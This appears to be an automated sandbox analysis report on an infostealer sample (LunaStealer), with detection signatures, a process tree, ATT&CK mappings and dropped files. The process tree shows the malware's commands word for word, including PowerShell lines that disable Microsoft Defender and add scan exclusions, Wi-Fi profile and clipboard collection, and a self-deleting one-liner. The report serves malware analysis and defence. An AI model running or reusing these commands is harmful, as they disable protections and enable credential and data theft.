Analysis
- max time kernel
151s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
06/10/2026, 23:36
General
- Target 2026-10-05_5e012ca86e19d93748bc67c92cae923c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
- Size 57.3MB
- Sample261006-3ll3faax4k
- SHA256 bc9297784a38b9d9ea7e540cf0a63e77b5491f8e6723b95bef87c62630d49031
Malware Config
Signatures
- Family: LunaStealer
LunaStealer is an infostealer written in Python and packaged with Pyinstaller.
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 2 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Loads dropped DLL 34 IoCs
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 5 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 1 TTPs 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Queries system WMI classes for hardware identifiers 2 TTPs 2 IoCs
Uses WMI to read hardware serial numbers or the system UUID, commonly used to fingerprint the victim machine.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 8 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 14 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 49 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-10-05_5e012ca86e19d93748bc67c92cae923c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-05_5e012ca86e19d93748bc67c92cae923c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-10-05_5e012ca86e19d93748bc67c92cae923c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-05_5e012ca86e19d93748bc67c92cae923c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"2⤵
- Creates a file in the Startup directory
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wbem\WMIC.exeC:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid4⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profiles"3⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'" "3⤵
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"4⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"4⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Set-MpPreference -ExclusionExtension '.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic os get Caption"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic os get Caption4⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\Wbem\wmic.exewmic cpu get Name3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name4⤵
- Reads the TCP/IP host and domain name from the registry
- Detects videocard installed
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get totalphysicalmemory4⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\wbem\WMIC.exeC:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid4⤵
- Queries system WMI classes for hardware identifiers
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /F "C:\Users\Admin\AppData\Local\Temp\2026-10-05_5e012ca86e19d93748bc67c92cae923c_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe""3⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping localhost -n 34⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Hide Artifacts
1File/Path Exclusions
1Impair Defenses
3Disable or Modify Tools
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
81d243bd2c585b0f4821__mypyc.cp314-win_amd64.pyd
_raw_aes.pyd
_raw_aesni.pyd
_cpuid_c.pyd
_imaging.cp314-win_amd64.pyd
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_brotli.cp314-win_amd64.pyd
_bz2.pyd
_cffi_backend.cp314-win_amd64.pyd
_ctypes.pyd
_hashlib.pyd
_lzma.pyd
_queue.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
_zstd.pyd
base_library.zip
cd.cp314-win_amd64.pyd
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
_psutil_windows.pyd
python3.DLL
python314.dll
select.pyd
Lorem ipsum.txt
sqlite3.dll
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_kydbqef0.cfq.ps1
memory/2860-295-0x000001FDC9BF0000-0x000001FDC9C12000-memory.dmp
memory/3564-221-0x00007FFAAA740000-0x00007FFAAAD71000-memory.dmp
memory/3564-398-0x00007FFABC510000-0x00007FFABC52A000-memory.dmp
memory/3564-235-0x00007FFAADE00000-0x00007FFAADF8A000-memory.dmp
memory/3564-227-0x00007FFABD8E0000-0x00007FFABD909000-memory.dmp
memory/3564-239-0x00007FFAB1D90000-0x00007FFAB1DAB000-memory.dmp
memory/3564-238-0x00007FFAB16D0000-0x00007FFAB1750000-memory.dmp
memory/3564-228-0x00007FFAAEA80000-0x00007FFAAEBD3000-memory.dmp
memory/3564-225-0x00007FFAB1DB0000-0x00007FFAB1DE6000-memory.dmp
memory/3564-242-0x00007FFAAB280000-0x00007FFAAB35A000-memory.dmp
memory/3564-245-0x00007FFABB610000-0x00007FFABB61D000-memory.dmp
memory/3564-218-0x00007FFAA8AC0000-0x00007FFAA91CD000-memory.dmp
memory/3564-219-0x00007FFAB6140000-0x00007FFAB6154000-memory.dmp
memory/3564-250-0x00007FFABA8A0000-0x00007FFABA8AB000-memory.dmp
memory/3564-249-0x00007FFABBF60000-0x00007FFABBF6F000-memory.dmp
memory/3564-252-0x00007FFAB6140000-0x00007FFAB6154000-memory.dmp
memory/3564-213-0x00007FFABBF60000-0x00007FFABBF6F000-memory.dmp
memory/3564-254-0x00007FFAAFB60000-0x00007FFAAFB9F000-memory.dmp
memory/3564-257-0x00007FFAAAE60000-0x00007FFAAAF1E000-memory.dmp
memory/3564-253-0x00007FFAAA740000-0x00007FFAAAD71000-memory.dmp
memory/3564-209-0x00007FFABC950000-0x00007FFABC95D000-memory.dmp
memory/3564-262-0x00007FFAAB240000-0x00007FFAAB276000-memory.dmp
memory/3564-206-0x00007FFABC510000-0x00007FFABC52A000-memory.dmp
memory/3564-199-0x00007FFABC530000-0x00007FFABC54A000-memory.dmp
memory/3564-202-0x00007FFAB65E0000-0x00007FFAB660C000-memory.dmp
memory/3564-271-0x00007FFAB8A80000-0x00007FFAB8A8C000-memory.dmp
memory/3564-275-0x00007FFAAA0D0000-0x00007FFAAA35C000-memory.dmp
memory/3564-274-0x00007FFAADE00000-0x00007FFAADF8A000-memory.dmp
memory/3564-270-0x00007FFAB3F60000-0x00007FFAB3F86000-memory.dmp
memory/3564-203-0x00007FFAB16D0000-0x00007FFAB1750000-memory.dmp
memory/3564-278-0x00007FFAAAE30000-0x00007FFAAAE5A000-memory.dmp
memory/3564-281-0x00007FFAAAE00000-0x00007FFAAAE2F000-memory.dmp
memory/3564-280-0x00007FFAAB280000-0x00007FFAAB35A000-memory.dmp
memory/3564-277-0x00007FFAB1D90000-0x00007FFAB1DAB000-memory.dmp
memory/3564-268-0x00007FFAB1CD0000-0x00007FFAB1CE1000-memory.dmp
memory/3564-267-0x00007FFAAEA80000-0x00007FFAAEBD3000-memory.dmp
memory/3564-194-0x00007FFAC11F0000-0x00007FFAC11FF000-memory.dmp
memory/3564-261-0x00007FFAB1DB0000-0x00007FFAB1DE6000-memory.dmp
memory/3564-192-0x00007FFABD8E0000-0x00007FFABD909000-memory.dmp
memory/3564-184-0x00007FFAA8AC0000-0x00007FFAA91CD000-memory.dmp
memory/3564-402-0x00007FFAAA740000-0x00007FFAAAD71000-memory.dmp
memory/3564-405-0x00007FFAB3F60000-0x00007FFAB3F86000-memory.dmp
memory/3564-404-0x00007FFAAEA80000-0x00007FFAAEBD3000-memory.dmp
memory/3564-314-0x00007FFAAFB60000-0x00007FFAAFB9F000-memory.dmp
memory/3564-341-0x00007FFAAB240000-0x00007FFAAB276000-memory.dmp
memory/3564-372-0x00007FFAAA740000-0x00007FFAAAD71000-memory.dmp
memory/3564-386-0x00007FFAAA0D0000-0x00007FFAAA35C000-memory.dmp
memory/3564-376-0x00007FFAADE00000-0x00007FFAADF8A000-memory.dmp
memory/3564-374-0x00007FFAAEA80000-0x00007FFAAEBD3000-memory.dmp
memory/3564-362-0x00007FFAA8AC0000-0x00007FFAA91CD000-memory.dmp
memory/3564-373-0x00007FFAB1DB0000-0x00007FFAB1DE6000-memory.dmp
memory/3564-388-0x00007FFAAAE30000-0x00007FFAAAE5A000-memory.dmp
memory/3564-394-0x00007FFAC11F0000-0x00007FFAC11FF000-memory.dmp
memory/3564-401-0x00007FFAB6140000-0x00007FFAB6154000-memory.dmp
memory/3564-400-0x00007FFABBF60000-0x00007FFABBF6F000-memory.dmp
memory/3564-399-0x00007FFABC950000-0x00007FFABC95D000-memory.dmp
memory/3564-393-0x00007FFABD8E0000-0x00007FFABD909000-memory.dmp
memory/3564-403-0x00007FFAB1DB0000-0x00007FFAB1DE6000-memory.dmp
memory/3564-392-0x00007FFAA8AC0000-0x00007FFAA91CD000-memory.dmp
memory/3564-234-0x00007FFAB3F60000-0x00007FFAB3F86000-memory.dmp
memory/3564-397-0x00007FFAB16D0000-0x00007FFAB1750000-memory.dmp
memory/3564-396-0x00007FFAB65E0000-0x00007FFAB660C000-memory.dmp
memory/3564-395-0x00007FFABC530000-0x00007FFABC54A000-memory.dmp
memory/3564-407-0x00007FFAB1D90000-0x00007FFAB1DAB000-memory.dmp
memory/3564-414-0x00007FFAB1CD0000-0x00007FFAB1CE1000-memory.dmp
memory/3564-415-0x00007FFAB8A80000-0x00007FFAB8A8C000-memory.dmp
memory/3564-416-0x00007FFAAA0D0000-0x00007FFAAA35C000-memory.dmp
memory/3564-408-0x00007FFAAB280000-0x00007FFAAB35A000-memory.dmp
memory/3564-413-0x00007FFAAB240000-0x00007FFAAB276000-memory.dmp
memory/3564-418-0x00007FFAAAE00000-0x00007FFAAAE2F000-memory.dmp
memory/3564-417-0x00007FFAAAE30000-0x00007FFAAAE5A000-memory.dmp
memory/3564-412-0x00007FFAAAE60000-0x00007FFAAAF1E000-memory.dmp
memory/3564-411-0x00007FFAAFB60000-0x00007FFAAFB9F000-memory.dmp
memory/3564-410-0x00007FFABA8A0000-0x00007FFABA8AB000-memory.dmp
memory/3564-409-0x00007FFABB610000-0x00007FFABB61D000-memory.dmp
memory/3564-406-0x00007FFAADE00000-0x00007FFAADF8A000-memory.dmp
memory/5656-313-0x000001903CC00000-0x000001903CC0A000-memory.dmp
memory/5656-312-0x0000019055220000-0x00000190552D2000-memory.dmp
memory/5656-311-0x000001903CC10000-0x000001903CC2E000-memory.dmp